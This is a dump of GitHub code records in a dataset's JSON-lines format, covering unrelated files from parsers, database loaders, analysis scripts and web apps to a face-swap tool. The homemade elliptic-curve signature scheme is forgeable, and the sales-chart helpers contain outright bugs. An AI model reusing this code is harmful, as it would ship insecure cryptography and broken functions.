open(\"Kamonra.txt\",\"r\")\na = file.read()\ntext = nltk.word_tokenize(a)\npos_tags = nltk.pos_tag(text)\npos_tags = pos_tags('ascii','ignore')\nnltk.ne_chunk(pos_tags, binary=True)\n\n\n\n\n","repo_name":"owensgroup/xdata-2017","sub_path":"src/Parse.py","file_name":"Parse.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31441611365","text":"import sys\nimport yaml\nimport sqlalchemy as db\nfrom sqlalchemy import Table, Column, Integer, String, Float, MetaData, UniqueConstraint\nfrom sqlalchemy.sql import and_, or_, not_, select\nfrom sqlalchemy_utils import create_database, database_exists\n\nfrom os.path import expanduser, dirname, realpath, isfile\n\n# Config file\nlib_path = dirname(__file__)\nconfig_file = lib_path + '/config.yaml'\n\nif not isfile(config_file):\n sys.exit(\"configuration file not found: '%s'\" % config_file)\n\nwith open(config_file, 'r') as config:\n cfg = yaml.safe_load(config)\n try:\n db_driver = cfg['db']['driver']\n db_name = cfg['db'].get('db_name')\n db_host = cfg['db'].get('host')\n db_table_name = cfg['db'].get('table_name' )\n db_user = cfg['db'].get('user')\n db_password = cfg['db'].get('password')\n db_path = lib_path + '/' + db_name\n\n except KeyError:\n exit('Configuration file does not have db type specified. See config.yaml sample')\n\nclass LocalSqlSession():\n # SQL Connector config\n def __init__(self, db_table_name='faults'):\n if db_driver in ['sqlite3', 'sqlite']:\n self.engine = db.create_engine('sqlite+pysqlite:///{}.db'.format(db_path))\n elif db_driver == 'mysql':\n mysql_url = 'mysql+pymysql://{}:{}@{}/{}'.format(db_user, db_password, db_host, db_name)\n if not database_exists(mysql_url):\n create_database(mysql_url)\n self.engine = db.create_engine(mysql_url)\n\n self.conn = self.engine.connect()\n self.meta = db.MetaData(self.engine)\n\n if db_table_name == 'faults':\n self.table = Table('faults', self.meta,\n Column('hash', String(9), primary_key=True, nullable=False),\n Column('severity', String(15)),\n Column('domain', String(20)),\n Column('type', String(20)),\n Column('cause', String(40)),\n Column('descr', String(800)),\n Column('lifeCycle', String(20), quote=False),\n Column('status', String(30)),\n Column('created', String(30)),\n Column('timeStamp', String(16), quote=False),\n Column('dn', String(400)),\n Column('fabric', String(15)),\n Column('code', String(15)))\n\n elif db_table_name == 'lldpInfo':\n self.table = Table('lldpInfo', self.meta,\n Column('nodeName', String(10), quote=False, primary_key=True, nullable=False),\n Column('nodeId', String(4), quote=False),\n Column('interface', String(50), primary_key=True, nullable=False),\n Column('neighbor', String(50)),\n Column('nbInterface', String(50), quote=False),\n Column('timeStamp', String(17), quote=False),\n UniqueConstraint('nodeName', 'interface', sqlite_on_conflict='REPLACE')\n )\n\n self.checkIfExists(db_table_name)\n\n def checkIfExists(self, table_name):\n if not self.engine.dialect.has_table(self.engine, table_name):\n self.meta.create_all(self.engine, tables=[self.table])\n return\n\n def getFaults(self, env=None, fault_hash='%', severity='%'):\n s = select([self.table]).where(\n and_(\n self.table.c.fabric == env,\n self.table.c.hash.like(fault_hash),\n self.table.c.severity.like(severity)\n )\n )\n results = self.conn.execute(s).fetchall()\n dict_results = []\n for row in results:\n row_as_dict = dict(row)\n dict_results.append(row_as_dict)\n\n return dict_results\n\n def deleteFault(self, fault_hash):\n self.conn.execute(self.table.delete().where(self.table.c.hash==fault_hash))\n\n def insert(self, values):\n self.conn.execute(self.table.insert(), values)\n\n def getLldpByPrefix(self, prefix_list):\n dict_results = []\n for prefix in prefix_list:\n prefix = '%{}%'.format(prefix)\n s = select([self.table]).where(\n self.table.c.nodeName.like(prefix),\n )\n results = self.conn.execute(s).fetchall()\n for row in results:\n row_as_dict = dict(row)\n dict_results.append(row_as_dict)\n\n return dict_results\n\n def updateLldpInfo(self, values):\n self.conn.execute(self.table.insert(), values)\n '''\n self.conn.execute(self.table.update().where(\n and_(self.table.c.nodeName == values['nodeName'],\n self.table.c.interface == values['interface'])\n ).values(values))\n '''\n\n def commit(self):\n self.conn.commit()\n\n def close(self):\n self.conn.close()\n","repo_name":"sebgroup/aci-search","sub_path":"libraries/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71638735148","text":"# import gmpy2\nimport random\nfrom tools import *\n\n\nclass EllipticCurve:\n def __init__(self, a, b, p, G, n):\n # 有限域上的椭圆曲线方程:y^2 mod p = (x^3+ax+b) mod p\n self.a = a\n self.b = b\n self.p = p\n self.G = G # 生成元,二元组\n self.n = n # 生成元的阶\n\n def is_on_curve(self, point):\n # 判断点是否满足曲线方程\n x, y = point\n lhs = (y*y) % self.p\n rhs = (x**3+self.a*x+self.b) % self.p\n if lhs == rhs:\n return True\n return False\n\n def invert(self, point):\n # 求点的加法逆元\n return (point[0], -point[1] % self.p)\n\n def add(self, p1, p2):\n # 相加运算\n # p1 p2 是点,二元素元组/列表\n # 注:O=(0,0)是无穷远点,也是加法单位元\n\n if p1 is None:\n # 0 + p2 = p2\n return p2\n if p2 is None:\n # p1 + 0 = p1\n return p1\n\n # 相加的点不在曲线上\n if(self.is_on_curve(p1) == False or self.is_on_curve(p2) == False):\n return (0, 0)\n\n # p+(-p)=(0,0)\n if(p1[0] == p2[0] and p1[1] == -p2[1]):\n return (0, 0)\n\n l = 0 # lamda\n # 将类型统一为元组\n if(tuple(p1) == tuple(p2)):\n l = ((3*p1[0]*p1[0]+self.a)*invert(2*p1[1], self.p)) % self.p\n else:\n fenzi = p2[1]-p1[1]\n fenmu = p2[0]-p1[0]\n l = (fenzi*invert(fenmu, self.p)) % self.p\n\n x = ((l*l)-p1[0]-p2[0]) % self.p\n y = (l*(p1[0]-x)-p1[1]) % self.p\n\n return (x, y)\n\n def mult(self, k, point):\n # 数乘运算\n assert self.is_on_curve(point)\n\n if k < 0:\n # k * point = -k * (-point)\n return self.mult(-k, self.invert(point))\n\n result = None\n addend = point\n\n while k:\n if k & 1:\n # Add.\n result = self.add(result, addend)\n\n # Double.\n addend = self.add(addend, addend)\n\n k >>= 1\n\n assert self.is_on_curve(result)\n return result\n\n def get_private_key(self):\n # 随机产生私钥\n return random.randint(1, self.n)\n\n def get_public_key(self, pri):\n # pri是私钥,数字\n if (pri <= self.n):\n return self.mult(pri, self.G)\n\n def encrypt(self, plain: bytes, pub):\n # ElGamal 密码体制\n def insert_plain(plain):\n # 将明文嵌入到椭圆曲线上的点,得到曲线上的一个点\n k = 32 # 向左移5位\n for i in range(0, k):\n x = bytes2int(plain) << 5+i\n # 求解 y^2==x^3+a*x+b 中的y\n rhs = (x ** 3+self.a*x+self.b) % self.p\n # p是奇素数,则p是平方剩余<=>(x^3+a*x+b)^((p-1)/2)==1 mod p\n if pow(rhs, (self.p-1) >> 1, self.p) == 1:\n if (self.p % 4 == 3):\n # p==4n+3的形式\n y = pow(rhs, (self.p+1) >> 2, self.p)\n return (x, y)\n else:\n return(x, get_iroot(x, self.p)[0]) # y取其中一个即可\n\n Pm = insert_plain(plain) # 嵌入后的点\n r = random.randint(1, self.n)\n # 密文=(k*G,Pm+k*pub)\n return (self.mult(r, self.G), self.add(Pm, self.mult(r, pub)))\n\n def decrypt(self, cipher, pri):\n # ElGamal 密码体制\n def uninsert_plain(Pm):\n # 将明文提取出来\n x, y = Pm\n k = 32 # 向右移5位\n plain = x >> 6 # don't know why, but it works!\n return int2bytes(plain)\n\n # 密文=(k*G,Pm+k*pub)\n # Pm=Pm+k*pub-pri*k*G=Pm+k*pri*G-pri*k*G\n Pm = self.add(cipher[1],\n self.invert(self.mult(pri, cipher[0]))) # 嵌入后的点\n return uninsert_plain(Pm)\n\n def get_signature(self, plain_hash: bytes, pri):\n # ECDSA 椭圆曲线数字签名算法\n r = random.randint(1, self.n)\n s = (r-bytes2int(plain_hash)*pri) % self.n\n if s == 0:\n # 如果s为0,重新计算\n return self.get_signature(plain_hash, pri)\n return (r, s)\n\n def is_valid_signature(self, plain_hash: bytes, signature, pub):\n # ECDSA 椭圆曲线数字签名算法\n r, s = signature\n # s*G+hash*pri*G == (r-hash*pri)*G+hash*pri*G == r*G\n if self.add(self.mult(s, self.G), self.mult(bytes2int(plain_hash), pub)) == self.mult(r, self.G):\n return True\n return False\n","repo_name":"ChopperCP/FileSaveTransfer","sub_path":"elliptic_curve.py","file_name":"elliptic_curve.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17506373027","text":"import pandas as pd\r\nimport json\r\nimport psycopg2\r\nfrom functions import getEngine\r\n\r\n#connect to the PostgreSQL on Heroku\r\nengine = getEngine()\r\nconnStr= engine.connect().connection\r\nmycursor = connStr.cursor()\r\n\r\nmycursor.execute('CREATE TABLE push_tokens (push_token_id VARCHAR(100) PRIMARY KEY,_fivetran_deleted VARCHAR(155),\\\r\n _fivetran_synced VARCHAR(155), expo_push_token VARCHAR(155) ,inserted_at VARCHAR(155), \\\r\n updated_at VARCHAR(155) ,user_id VARCHAR(255),FOREIGN KEY (user_id) REFERENCES users(user_id))') \r\n#loading users\r\nptDF = pd.read_csv('push_tokens.csv')\r\nptDF = ptDF.fillna(\"\")\r\nqueryTokens = \"INSERT INTO push_tokens (push_token_id,_fivetran_deleted,_fivetran_synced,expo_push_token,inserted_at,updated_at,user_id) \\\r\n VALUES (%s,%s,%s,%s,%s,%s,%s)\"\r\n\r\n\r\nfor index, row in ptDF.iterrows():\r\n mycursor.execute(queryTokens, (row.push_token_id,row._fivetran_deleted,row._fivetran_synced,\r\n row.expo_push_token,row.inserted_at, row.updated_at, row.user_id))\r\n\r\nconnStr.commit()\r\nprint(\"push tokens loaded\")\r\nmycursor.close()\r\nconnStr.close()\r\nengine.dispose()","repo_name":"vmlucas/aktivate","sub_path":"pushTokens.py","file_name":"pushTokens.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5424116881","text":"#!/usr/bin/env python\n\n# ==============================================================================\n\n# @Authors: Saurabh Gupta ; Dhagash Desai\n# @email: s7sagupt@uni-bonn.de ; s7dhdesa@uni-bonn.de\n\n# MSR Project Sem 2: Game Theoretic Control for Multi-Car Racing\n\n# System Identification Error Analysis\n\n# ==============================================================================\n\n# ==============================================================================\n# -- imports -------------------------------------------------------------------\n# ==============================================================================\nimport sys\nimport pickle\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nsys.path.append('..')\n\nfrom Common.util import *\nfrom Common.custom_dataclass import *\n\ndef predict_new(old_states, control, params, dt):\n L, p, Cd, Cfr, Ccs = params\n\n x, y, theta, vx, vy = old_states\n v = np.sqrt(vx ** 2 + vy ** 2)\n acc, delta = control\n x_new = x + (v * np.cos(np.arctan2(np.tan(delta), 2) + theta) * dt)\n y_new = y + (v * np.sin(np.arctan2(np.tan(delta), 2) + theta) * dt)\n theta_new = wrapToPi(theta + (v * np.tan(delta) * dt / np.sqrt((L ** 2) + ((0.5 * L * np.tan(delta)) ** 2))))\n vx_new = vx + (p * acc - Cd * v * vx - Cfr * vx) * dt\n vy_new = vy - (Ccs * wrapToPi(np.arctan2(vy, vx) - delta) + (Cd * v + Cfr) * vy) * dt\n new_state = np.array([x_new, y_new, theta_new, vx_new, vy_new])\n\n return new_state\n\nif __name__=='__main__':\n\n # Read ground truth states\n filename = '../../Data/states_e(0.100000)_v(5.000000)_p(0.500000)_i(0.010000)_d(0.150000)_n(1.000000).pickle'\n with open(filename, 'rb') as f:\n data = pickle.load(f)\n\n t = np.array([d.time for d in data])\n t = t[:-1]\n dt = np.average(np.diff(t))\n\n x = np.array([d.pose_x for d in data])\n x = x[:-1]\n y = np.array([d.pose_y for d in data])\n y = y[:-1]\n yaw = np.array([wrapToPi(np.radians(d.pose_yaw)) for d in data])\n yaw = yaw[:-1]\n vx = np.array([d.v_lon for d in data])\n vx = vx[:-1]\n vy = np.array([d.v_lat for d in data])\n vy = vy[:-1]\n\n # Read control commands\n filename = '../../Data/controls_e(0.100000)_v(5.000000)_p(0.500000)_i(0.010000)_d(0.150000)_n(1.000000).pickle'\n with open(filename, 'rb') as f:\n data = pickle.load(f)\n\n acc = np.array([d.acc for d in data])\n steer = np.array([d.steer * np.pi / 180 for d in data])\n \n states_gt = np.vstack((x, y, yaw, vx, vy)).T\n control = np.vstack((acc, steer)).T\n\n horizon = 100\n step = 10\n\n position_pred = np.zeros((horizon, 2))\n error = np.zeros((int((len(t) - horizon) / step) + 1, horizon))\n\n params = np.loadtxt('../../Data/params.txt')\n\n count = 0\n for i in range(0, len(t) - horizon, step):\n curr_state = states_gt[i]\n for j in range(horizon):\n curr_state = predict_new(curr_state, control[i + j], params, t[i + j + 1] - t[i + j])\n error[count, j] = np.sqrt((curr_state[0] - states_gt[i + j + 1, 0])**2 + (curr_state[1] - states_gt[i + j + 1, 1])**2)\n count += 1\n\n median_error = np.median(error, axis=0)\n q10, q25, q40, q60, q75, q90 = np.percentile(error, [10, 25, 40, 60, 75, 90], axis=0)\n \n h = np.array([i for i in range(horizon)]) * 0.1\n\n f = plt.figure('Average Position Error over a horizon of {} time steps'.format(horizon))\n plt.tight_layout()\n plt.yscale('log')\n plt.title('System ID error analysis over prediction horizon of 10 seconds', fontsize=20)\n ax = plt.subplot(1, 1, 1)\n ax.scatter(h, error[0], s=1, c='blue', alpha=0.1, label='Raw Error Values')\n for i in range(1, error.shape[0]):\n ax.scatter(h, error[i], s=1, c='darkblue', alpha=0.2)\n ax.plot(h, median_error, color='black', label='Median of Error Values')\n ax.fill_between(h, q10, q90, color='lightgray', alpha=0.3, label='10-90% Interquartile Range')\n ax.fill_between(h, q25, q75, color='darkgray', alpha=0.3, label='25-75% Interquartile Range')\n ax.fill_between(h, q40, q60, color='dimgray', alpha=0.3, label='40-60% Interquartile Range')\n ax.set_xlabel('Prediction horizon in seconds', fontsize=15)\n ax.set_ylabel('Error between predicted and ground truth position [m] - Log Scale', fontsize=15)\n plt.legend(fontsize=15)\n plt.show()","repo_name":"Dhagash4/Game_Theoretic_Control","sub_path":"python_scripts/Plots/sys_id_error.py","file_name":"sys_id_error.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"18766479225","text":"hi, mi, hf, mf = input().split()\n\nhi = float(hi)\nmi = float(mi)\nhf = float(hf)\nmf = float(mf)\n\nminH = mi + hi * 60\nminF = mf + (hf + 24) * 60\n\ndif = minF - minH\n\nh = int(dif / 60)\nm = dif % 60\n\nif h == 0 and m == 0:\n h = 24\n\nif h >= 24 and m > 0:\n h -= 24\n\nprint(\"O JOGO DUROU %d HORA(S) E %d MINUTO(S)\" %(h, m))","repo_name":"thi-martinsj/Programming-Exercises","sub_path":"beecrowd/begginer/1047_game_time_with_minutes.py","file_name":"1047_game_time_with_minutes.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33395124336","text":"#all helper functions\nimport base64,uuid #UUID, Universal Unique Identifier, is a python library that helps in generating random objects of 128 bits as ids. \nfrom customers.models import Customer\nfrom profiles.models import Profile\nimport matplotlib as plt\nimport seaborn as sns\nfrom io import BytesIO # BytesIO is a method that manipulate bytes data in memory.\n#First we need to create a file-like object with the use of BytesIO and matplotlib and use base64 encode and decode method on our file-like objects\ndef generate_code():\n code=uuid.uuid4() #uuid4() creates a random UUID.\n code_mod=str(code).replace('-','').upper()[:12]\n return code_mod\n\ndef get_salesman_from_id(val):\n salesman=Profile.objects.get(id=val)\n return salesman.user.username\n\ndef get_customer_from_id(val):\n customer=Customer.objects.get(id=val)\n return customer.user.username\n\ndef get_graph():\n buffer=BytesIO()\n plt.savefig(buffer,format='png') #create plot with the use of BYTESIO object as a file-like object\n buffer.seek(0) #seek() function is used to change the position of the File Handle to a given specific position. File handle is like a cursor, which defines from where the data has to be read or written in the file. \n image_png=buffer.getvalue() #retrieve the content of the file\n graph=base64.b64decode(image_png) #encode the bytes-like object(image_png) and get the encoded bytes\n graph=graph.decode('utf-8') #to get string out of bytes we use decoding \n buffer.close() #free the buffer memory\n return graph\n\ndef get_key(res_by):\n if res_by=='#1':\n key='transaction_id'\n elif res_by=='#2':\n key='created'\n return key\n\ndef get_chart(chart_type,data,results_by,**kwargs):\n plt.switch_backedn('AGG') #switch the backend,in matplotlib is a tool responsible for drawing plots.in jupyter notebook we use the inline backend but for web app we use AGG and it renders PNGs\n fig=plt.figure(figsize(10,4)) #size of charts\n key=get_key(results_by)\n d=data.groupby(key)['total_price'].agg('sum')\n\n if chart_type=='#1':\n print('bar chart')\n sns.barplot(x=key,y='total_price',data=d)\n #plt.bar(d[key],data['total_price'])\n elif chart_type=='#2':\n print('pie chart')\n #labels=kwargs.get('label')\n plt.pie(data=d,x='total_price',labels=d[key].values)\n elif chart_type=='#3':\n print('line chart')\n plt.plot(d[key],d['total_price'],color='green',marker='o')\n else:\n print('failed to identify the chart type')\n\n plt.tight_layout() #subplot(s) fits in to the figure area\n chart=get_graph()\n return chart\n","repo_name":"fatemehmahdavi/Sales_Report_Generator_App","sub_path":"sales/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6693643492","text":"def fibonacci(number: int) -> int:\n \"\"\"\n >>> fibonacci(0)\n 0\n >>> fibonacci(1)\n 1\n >>> fibonacci(2)\n 1\n >>> fibonacci(3)\n 2\n >>> fibonacci(4)\n 3\n >>> fibonacci(5)\n 5\n >>> fibonacci(6)\n 8\n >>> fibonacci(7)\n 13\n >>> fibonacci(8)\n 21\n \"\"\"\n fibs = [0] * (number + 2)\n fibs[0] = 0\n fibs[1] = 1\n for i in range(2, number + 1):\n fibs[i] = fibs[i - 1] + fibs[i - 2]\n return fibs[number]\n\n\nif __name__ == \"__main__\":\n from doctest import testmod\n\n testmod()\n","repo_name":"examplehub/Python","sub_path":"maths/fibonacci_with_list.py","file_name":"fibonacci_with_list.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"7391125521","text":"import os\nimport matplotlib.pyplot as plt\nfrom pprint import pprint\nimport pandas as pd\nfrom pickle_jar import pickle_jar\nimport load\nimport savings\nfrom display import lt_plot, peak_plot, stat_plot, stat_plot_intervals, \\\n stat_plot_compare, single_day_analysis\nimport analyze\n\n#####################\n# Initialize Script #\n#####################\n\n\nnon_solar_sites = ['WM3138', 'WM3708', 'WM5606', 'WM5859', 'WM4132']\nsolar_sites = ['WM3140', 'WM3796', 'WM5603', 'WM5635', 'WFSTC']\n\nsolar = True\n\nlabel = 'Solar' if solar else 'Non-Solar'\n\nsolar_stats_daily = []\nsolar_stats_monthly = []\nsolar_stats_monthly_months = []\nnon_solar_stats_daily = []\nnon_solar_stats_monthly = []\nnon_solar_stats_monthly_months = []\n\nif solar:\n sites = solar_sites[:]\nelse:\n sites = non_solar_sites[:]\n\nfor site in sites[-1:]:\n start = \"2018-06-01 00:00:00-07\"\n end = \"2019-05-31 23:45:00-07\"\n if site == 'WFSTC':\n start = \"2019-06-01 00:00:00-07\"\n end = \"2019-07-21 23:45:00-07\"\n\n # power_file = 'input/WFROS_timeseries_filled.csv'\n print(f'Running site {site}')\n path = 'input/'\n power_file = [os.path.join(path, i) for i in os.listdir(path) if\n os.path.isfile(os.path.join(path, i)) and\n site in i][0]\n\n if site.startswith('WF'):\n config_file = 'input/WF_LTSB_mass_and_SST.csv'\n elif site.startswith('WM'):\n config_file = 'input/WM_LTSB_mass_and_SST_new.csv'\n else:\n print(f\"Can't find proper config file for {site}\")\n continue\n\n power_data, master_conf = load.load_data(site,\n start,\n end,\n power_file,\n config_file)\n master_conf['optimize_energy'] = False\n\n #############################\n # Get Monthly/Daily Targets #\n #############################\n monthly_targets_days, daily_targets = load.get_monthly_daily_targets(\n power_data,\n master_conf)\n\n monthly_targets = load.get_monthly_targets(power_data, master_conf)\n # print(list(monthly_targets_days[0].columns))\n # for i in range(156, 220):\n\n ###########################\n # Get Monthly/Daily Stats #\n ###########################\n print(f\"Calculating Statistics for site {site}\\n \")\n stats_monthly = analyze.collect_stats(site, monthly_targets_days,\n max_baseline=True)\n # stats_monthly = []\n stats_daily = analyze.collect_stats(site, daily_targets, max_baseline=True)\n # stats_daily = []\n stats_monthly_months = analyze.collect_stats(site, monthly_targets,\n max_baseline=True)\n\n stats_monthly_months_flat = analyze.flatten_stat_data(stats_monthly_months,\n timestamp_to_min=False,\n by='intervals')\n\n #####################\n # Identify Key Days #\n #####################\n\n key_stat_intervals = []\n for stat_interval in stats_monthly_months_flat:\n # pprint(stat_interval)\n\n single_day_analysis(site,\n monthly_targets_days,\n '2019-06-11')\n\n # summer_months = [5, 6, 7, 8, 9, 10]\n # # if stat_interval['timestamp'].month not in summer_months:\n # # continue\n pprint(stat_interval)\n if stat_interval['baseline_load'] >= 275:\n pprint(stat_interval)\n # offset_noramlized = stat_interval['offset'] / stat_interval[\n # 'discharge_limit']\n # if offset_noramlized < 0.999 and stat_interval[\n # 'baseline_load'] >= 200:\n # pprint(stat_interval)\n # print(offset_noramlized)\n # key_stat_intervals.append(stat_interval)\n # single_day_analysis(site,\n # monthly_targets_days,\n # stat_interval['timestamp'].date())\n\n ###########################\n # Add Data To Site Groups #\n ###########################\n if solar:\n solar_stats_monthly.append(stats_monthly)\n solar_stats_daily.append(stats_daily)\n solar_stats_monthly_months.append(stats_monthly_months)\n\n else:\n non_solar_stats_monthly.append(stats_monthly)\n non_solar_stats_daily.append(stats_daily)\n non_solar_stats_monthly_months.append(stats_monthly_months)\n\n ###################\n # Show Site Plots #\n ###################\n # show_plots = (site == 'WFSTC')\n show_plots = False\n\n if show_plots:\n # stat_plot_compare(stats_monthly, stats_daily)\n # stat_plot_intervals(stats_monthly, f'{site} - Monthly Optimization',\n # x='timestamp',\n # y='offset_normalized',\n # c='temperature_max')\n # stat_plot_intervals(stats_daily, f'{site} - Daily Optimization',\n # x='timestamp',\n # y='offset_normalized',\n # c='temperature_max')\n # stat_plot_intervals(stats_monthly, f'{site} - Monthly Optimization',\n # x='baseline_load',\n # y='offset_normalized',\n # c='temperature_max')\n # stat_plot_intervals(stats_daily, f'{site} - Daily Optimization',\n # x='baseline_load',\n # y='offset_normalized',\n # c='temperature_max')\n stat_plot_intervals(stats_monthly_months,\n f'Solar Sites - Max Baseline for Month',\n x='timestamp',\n y='offset_normalized',\n c='temperature_max')\n plt.show()\n\n ########################################\n # Match Monthly Run Days to Daily Runs #\n ########################################\n monthly_run_days = analyze.find_daily_monthly_days(daily_targets,\n stats_daily,\n monthly_targets_days,\n stats_monthly)\n # for day_targets, day_stats, month_targets, month_stats, \\\n # in monthly_run_days:\n # # lt_plot(day_targets)\n # print('test')\n # lt_plot(site, month_targets)\n # plt.show()\n\n # if site == 'WM3140':\n # for month_target in monthly_targets:\n # lt_plot(site, month_target)\n # plt.show()\n\n ##################\n # Savings Tables #\n ##################\n savings = savings.generate_savings_table(monthly_targets, master_conf)\n pprint(savings)\n\nshow_plots_all = False\nif show_plots_all:\n if solar:\n smonthly = [stats_month for stats_monthly in solar_stats_monthly\n for stats_month in stats_monthly]\n sdaily = [stats_day for stats_daily in solar_stats_daily\n for stats_day in stats_daily]\n smonthly_months = [stats_month for stats_monthly in\n solar_stats_monthly_months\n for stats_month in stats_monthly]\n else:\n smonthly = [stats_month for stats_monthly in non_solar_stats_monthly\n for stats_month in stats_monthly]\n sdaily = [stats_day for stats_daily in non_solar_stats_daily\n for stats_day in stats_daily]\n smonthly_months = [stats_month for stats_monthly in\n non_solar_stats_monthly_months\n for stats_month in stats_monthly]\n\n stat_plot_intervals(smonthly,\n f'{label} Sites - Monthly Optimization',\n x='timestamp',\n y='offset_normalized',\n c='temperature_max')\n stat_plot_intervals(sdaily,\n f'{label} Sites - Daily Optimization',\n x='timestamp',\n y='offset_normalized',\n c='temperature_max')\n stat_plot_intervals(smonthly,\n f'{label} Sites - Monthly Optimization',\n x='baseline_load',\n y='offset_normalized',\n c='temperature_max')\n stat_plot_intervals(sdaily,\n f'{label} Sites - Daily Optimization',\n x='baseline_load',\n y='offset_normalized',\n c='temperature_max')\n stat_plot_intervals(smonthly_months,\n f'{label} Sites - Max Baseline for Summer Month',\n x='baseline_load',\n y='offset_normalized',\n c='temperature_max')\n stat_plot_intervals(smonthly_months,\n f'{label} Sites - Max Baseline for Summer Month',\n x='timestamp',\n y='offset_normalized',\n c='temperature_max')\n plt.show()\n","repo_name":"samhollenbach/lt-setback-tests","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12363203317","text":"import graphene\nfrom graphene_django.rest_framework.mutation import SerializerMutation\nfrom graphql_jwt.decorators import login_required\n\nfrom whoweb.contrib.graphene_django.mutation import NodeSerializerMutation\nfrom .schema import ResultProfileObjectType\nfrom .serializers import (\n DeriveContactSerializer,\n FilterValueListSerializer,\n)\n\n\nclass DeriveContact(SerializerMutation):\n profile = graphene.Field(ResultProfileObjectType)\n\n class Meta:\n serializer_class = DeriveContactSerializer\n model_operations = (\"create\",)\n exclude_fields = (\"initiated_by\",)\n\n @classmethod\n @login_required\n def get_serializer_kwargs(cls, root, info, **input):\n return {\n \"data\": input,\n \"context\": {\"request\": info.context},\n \"partial\": False,\n }\n\n\nclass FilterValueListMutation(NodeSerializerMutation):\n class Meta:\n serializer_class = FilterValueListSerializer\n model_operations = (\n \"create\",\n \"update\",\n \"delete\",\n )\n\n\nclass Mutation(graphene.ObjectType):\n derive_contact = DeriveContact.Field()\n filter_value_list = FilterValueListMutation.Field()\n","repo_name":"sivasuriyangithub/Merket_Intellect-s3.route","sub_path":"whoweb/search/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22534553210","text":"from django.urls import path\nfrom .views import horaextralist, horaextracreate_base, horaextracreate,\\\n horaextraedit, horaextraedit_base ,horaextradelet, utilizouHoraExtra,\\\n horaextraRelatorio, horaextraRelatorio_Excel\n\n\n\nurlpatterns = [\n path('', horaextralist.as_view(), name='list_hora_extra'),\n path('novo/', horaextracreate_base.as_view(), name='create_hora_extra_base'),\n path('novo-funcionario/', horaextracreate.as_view(), name='create_hora_extra'),\n path('editar/', horaextraedit_base.as_view(), name='update_hora_extra_base'),\n path('editar-funcionario//', horaextraedit.as_view(), name='update_hora_extra'),\n path('utilizou-hora-extra//', utilizouHoraExtra.as_view(), name='utilizou_hora_extra'),\n path('deletar//', horaextradelet.as_view(), name='delete_hora_extra'),\n path('relatorio_hora_extra/', horaextraRelatorio.as_view(), name='relatorio_hora_extra'),\n path('relatorio_hora_extra_excel/', horaextraRelatorio_Excel.as_view(), name='relatorio_hora_extra_excel'),\n\n\n]","repo_name":"levicruz49/gestao_rh","sub_path":"apps/registro_hora_extra/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36599767068","text":"# --------------------------Importing libraries-------------------------\n\nimport cv2\nimport dlib\nimport numpy as np\nimport utilities as util\n\n\n# --------------------------Driver Function-------------------------\n\ndef base_func(image1 , image2):\n\t'''\n\tFUNCTION : A driver function that combines all the underlying functions.\n\tINPUT : 'image1'- the image matrix for the base image,\n\t\t\t'image2'- the image matrix for the image that has to be superimposed on image1.\n\tRETURNS : A final image with the faces swapped.\n\t'''\n\tldmrk1 = util.findLandmarks(image1)\n\tldmrk2 = util.findLandmarks(image2)\t\n\n\t# if ldmrk1 == 'multiple':\n\t# \tprint ('ERROR : Multiple faces detected.')\n\t# \treturn image1\n\n\t# if ldmrk1 == 'none':\n\t# \tprint ('ERROR : Face not detected.')\n\t# \treturn image1\n\n\tM = util.transformation(ldmrk1[util.LIST_1], ldmrk2[util.LIST_1])\n\t\n\tmask = util.getMask(image2, ldmrk2)\n\twarped_mask = util.warp_image(mask, M, image1.shape)\n\tcombined_mask = np.max([util.getMask(image1, ldmrk1), warped_mask], axis=0)\n\n\twarped_img2 = util.warp_image(image2, M, image1.shape)\n\tcolorMatched_img2 = util.matchColor(image1, warped_img2, ldmrk1)\n\n\tswapped_img = image1 * (1.0 - combined_mask) + colorMatched_img2 * combined_mask\n\t\n\treturn swapped_img\n\n\n# --------------------------Image import-------------------------\n\nimg1 = cv2.imread('inp_Img/pp.jpg')\nimg2 = cv2.imread('inp_Img/gadot.jpg')\n# print(img1.shape)\n\n# face of image2 swapped on image1\nswapped = base_func(img1, img2)\n# cv2.imshow(\"Swapped image\", swapped)\t\ncv2.imwrite(\"Swapped_Image.jpg\", swapped)\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n\n\n\n\n\n\n","repo_name":"ishangoel9853/Face-Swapper","sub_path":"swap.py","file_name":"swap.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39858050997","text":"import os\nimport sys\nimport mmap\nimport string\nimport logging\nimport datetime\nfrom time import time\nfrom itertools import chain\nfrom base64 import b64encode\nfrom optparse import OptionParser, OptionGroup\n\nimport tabulate\nimport viv_utils\nimport simplejson as json\n\nimport floss.plugins as plugins\nimport floss.strings as strings\nimport floss.stackstrings as stackstrings\nimport floss.string_decoder 